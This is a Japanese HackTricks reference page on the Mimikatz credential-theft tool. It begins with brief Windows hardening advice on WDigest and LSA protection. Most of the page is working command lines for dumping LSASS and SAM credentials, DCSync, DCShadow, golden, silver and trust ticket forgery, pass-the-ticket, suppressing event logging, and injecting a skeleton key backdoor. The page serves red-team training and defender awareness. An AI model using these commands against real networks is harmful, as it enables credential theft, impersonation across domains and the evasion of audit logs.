Mimikatz
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
このページは adsecurity.org のものに基づいています。詳細については元のページを確認してください!
Windows 8.1 および Windows Server 2012 R2 以降、資格情報の盗難を防ぐために重要な対策が実施されています:
LM ハッシュと平文のパスワードは、セキュリティを強化するためにメモリに保存されなくなりました。特定のレジストリ設定、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" を DWORD 値 0
に設定してダイジェスト認証を無効にし、「平文」パスワードが LSASS にキャッシュされないようにする必要があります。
LSA 保護は、ローカル セキュリティ機関 (LSA) プロセスを不正なメモリ読み取りやコード注入から保護するために導入されました。これは、LSASS を保護されたプロセスとしてマークすることで実現されます。LSA 保護を有効にするには:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa のレジストリを変更し、RunAsPPL
を dword:00000001
に設定します。
このレジストリ変更を管理対象デバイス全体に強制するグループ ポリシー オブジェクト (GPO) を実装します。
これらの保護にもかかわらず、Mimikatz のようなツールは特定のドライバーを使用して LSA 保護を回避できますが、そのような行動はイベントログに記録される可能性が高いです。
管理者は通常、プログラムをデバッグするための SeDebugPrivilege を持っています。この特権は、不正なメモリダンプを防ぐために制限されることがあります。これは、攻撃者がメモリから資格情報を抽出するために使用する一般的な手法です。しかし、この特権が削除されても、TrustedInstaller アカウントはカスタマイズされたサービス構成を使用してメモリダンプを実行できます:
これにより、lsass.exe
メモリをファイルにダンプすることができ、その後別のシステムで分析して資格情報を抽出できます:
Mimikatzにおけるイベントログの改ざんは、主に2つのアクションを含みます:イベントログのクリアと新しいイベントのログ記録を防ぐためのイベントサービスのパッチ。以下は、これらのアクションを実行するためのコマンドです:
Command: このアクションは、イベントログを削除することを目的としており、悪意のある活動を追跡することを難しくします。
Mimikatzは、コマンドラインを介してイベントログを直接クリアするための直接的なコマンドを標準のドキュメントには提供していません。しかし、イベントログの操作は通常、特定のログをクリアするためにMimikatzの外部でシステムツールやスクリプトを使用することを含みます(例:PowerShellやWindows Event Viewerを使用)。
Command: event::drop
この実験的なコマンドは、イベントログサービスの動作を変更するように設計されており、新しいイベントの記録を効果的に防ぎます。
Example: mimikatz "privilege::debug" "event::drop" exit
privilege::debug
コマンドは、Mimikatzがシステムサービスを変更するために必要な特権で動作することを保証します。
次に、event::drop
コマンドがイベントログサービスをパッチします。
ゴールデンチケットは、ドメイン全体のアクセスのなりすましを可能にします。主なコマンドとパラメータ:
Command: kerberos::golden
Parameters:
/domain
: ドメイン名。
/sid
: ドメインのセキュリティ識別子(SID)。
/user
: なりすますユーザー名。
/krbtgt
: ドメインのKDCサービスアカウントのNTLMハッシュ。
/ptt
: チケットをメモリに直接注入します。
/ticket
: 後で使用するためにチケットを保存します。
Example:
Silver Ticketsは特定のサービスへのアクセスを許可します。主なコマンドとパラメータ:
コマンド:Golden Ticketに似ていますが、特定のサービスをターゲットにします。
パラメータ:
/service
:ターゲットとするサービス(例:cifs、http)。
その他のパラメータはGolden Ticketに似ています。
例:
Trust Ticketsは、信頼関係を利用してドメイン間でリソースにアクセスするために使用されます。主なコマンドとパラメータ:
Command: Golden Ticketに似ていますが、信頼関係用です。
Parameters:
/target
: 対象ドメインのFQDN。
/rc4
: 信頼アカウントのNTLMハッシュ。
Example:
チケットのリスト:
コマンド: kerberos::list
現在のユーザーセッションのすべてのKerberosチケットをリストします。
キャッシュをパスする:
コマンド: kerberos::ptc
キャッシュファイルからKerberosチケットを注入します。
例: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
チケットをパスする:
コマンド: kerberos::ptt
別のセッションでKerberosチケットを使用できるようにします。
例: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
チケットを消去する:
コマンド: kerberos::purge
セッションからすべてのKerberosチケットをクリアします。
チケット操作コマンドを使用する前に、競合を避けるために便利です。
DCShadow: ADオブジェクト操作のために一時的にマシンをDCとして機能させます。
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: DCを模倣してパスワードデータを要求します。
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
LSADUMP::LSA: LSAから認証情報を抽出します。
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: コンピュータアカウントのパスワードデータを使用してDCを偽装します。
元の文脈ではNetSyncのための特定のコマンドは提供されていません。
LSADUMP::SAM: ローカルSAMデータベースにアクセスします。
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: レジストリに保存された秘密を復号化します。
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: ユーザーの新しいNTLMハッシュを設定します。
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: 信頼認証情報を取得します。
mimikatz "lsadump::trust" exit
MISC::Skeleton: DC上のLSASSにバックドアを注入します。
mimikatz "privilege::debug" "misc::skeleton" exit
PRIVILEGE::Backup: バックアップ権限を取得します。
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: デバッグ権限を取得します。
mimikatz "privilege::debug" exit
SEKURLSA::LogonPasswords: ログイン中のユーザーの認証情報を表示します。
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: メモリからKerberosチケットを抽出します。
mimikatz "sekurlsa::tickets /export" exit
SID::add/modify: SIDとSIDHistoryを変更します。
追加: mimikatz "sid::add /user:targetUser /sid:newSid" exit
修正: 元の文脈では修正のための特定のコマンドは提供されていません。
TOKEN::Elevate: トークンを偽装します。
mimikatz "token::elevate /domainadmin" exit
TS::MultiRDP: 複数のRDPセッションを許可します。
mimikatz "ts::multirdp" exit
TS::Sessions: TS/RDPセッションをリストします。
元の文脈ではTS::Sessionsのための特定のコマンドは提供されていません。
Windows Vaultからパスワードを抽出します。
mimikatz "vault::cred /patch" exit
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)